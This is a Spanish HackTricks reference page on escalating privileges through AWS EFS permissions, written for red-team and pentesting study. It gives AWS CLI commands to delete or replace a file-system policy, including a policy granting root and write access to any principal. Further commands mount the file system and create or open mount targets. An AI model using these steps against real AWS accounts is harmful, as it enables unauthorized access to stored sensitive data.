AWS - EFS Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

EFS

Más información sobre EFS en:

AWS - EFS Enum

Recuerda que para montar un EFS necesitas estar en una subred donde el EFS esté expuesto y tener acceso a él (security groups). Si esto ocurre, por defecto siempre podrás montarlo; sin embargo, si está protegido por políticas IAM necesitarás los permisos adicionales mencionados aquí para acceder a él.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con cualquiera de esos permisos un atacante puede cambiar la política del sistema de archivos para darte acceso a él, o simplemente eliminarla para que se conceda el acceso por defecto.

Para eliminar la política:

aws efs delete-file-system-policy \
--file-system-id <value>

Para cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con este permiso un atacante podrá mount the EFS. Si el write permission no se otorga por defecto a todos los que pueden mount the EFS, solo tendrá read access.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Los permisos adicionales elasticfilesystem:ClientRootAccess y elasticfilesystem:ClientWrite pueden usarse para escribir dentro del sistema de archivos después de que esté montado y para acceder a ese sistema de archivos como root.

Impacto potencial: privesc indirecto al localizar información sensible en el sistema de archivos.

elasticfilesystem:CreateMountTarget

Si un atacante está dentro de una subnetwork donde no existe ningún mount target del EFS, podría simplemente crear uno en su subnet con este privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impacto potencial: Privesc indirecto al localizar información sensible en el sistema de archivos.

elasticfilesystem:ModifyMountTargetSecurityGroups

En un escenario donde un atacante descubre que el EFS tiene un mount target en su subnetwork pero ningún security group está permitiendo el tráfico, podría simplemente cambiar eso modificando los security groups seleccionados:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impacto potencial: Indirect privesc al localizar información sensible en el sistema de archivos.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks